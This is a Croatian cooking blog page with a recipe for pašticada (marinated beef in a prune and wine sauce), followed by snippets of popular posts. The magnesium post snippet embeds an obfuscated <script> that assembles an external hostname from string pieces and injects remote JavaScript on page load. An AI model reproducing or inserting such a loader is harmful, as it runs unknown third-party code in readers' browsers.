PAŠTICADA




Pašticada 



Pašticada je tradicionalno hrvatsko jelo od goveđeg mesa u umaku od šljiva i obično se poslužuje s njokima. Meso se najprije marinira te se ispeče cijeli komad mesa, a zatim se odresci kuhaju u gustom umaku.




Pašticada 


Sastojci:

1 kg goveđeg buta 
4 mrkve 
2 glavice crnog luka 
1/4 korijena celera 
100 g slanine 
4 češnja češnjaka 
300 ml crnog vina 
5 do 6 suhih šljiva 
1 prstohvat peršina 
3 do 4 lista lovora 
Svinjska mast 




Priprema:

Meso dobro očistite od masnoće, ali ostavite ga u komadu.

Zatim meso zarežite na nekoliko mjesta, a u te proreze stavite očišćene cijele češnjeve češnjaka.

Meso stavite u zdjelu pa dodajte krupno nasjeckani luk, mrkvu, celer i slaninu. 

Ulijte crno vino i vodu tako da cijeli komad mesa bude potopljen.

Prekrijte prozirnom folijom i ostavite da se marinira preko noći.

Nakon toga izvadite meso iz posude, a marinadu sačuvajte za kasnije.

U dubljoj posudi otopite mast i popržite meso.

Izvadite iz tave, dodajte samo povrće iz marinade i pržite dok ne omekša.

Zatim vratite junetinu i prelijte marinadom pa zalijte vrućom vodom.

Dodajte suhe šljive, lovorov list, sol i papar.

Kuhajte 2 sata uz povremeno dolijevanje vode.

Kad junetina potpuno omekša izvadite je iz posude i narežite na odreske.

Umak propasirajte i vratite meso u tavu.

Začinite po želji i ostavite da se kuha na laganoj vatri još pola sata.

Njoke skuhajte te poslužite s mesom i umakom.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više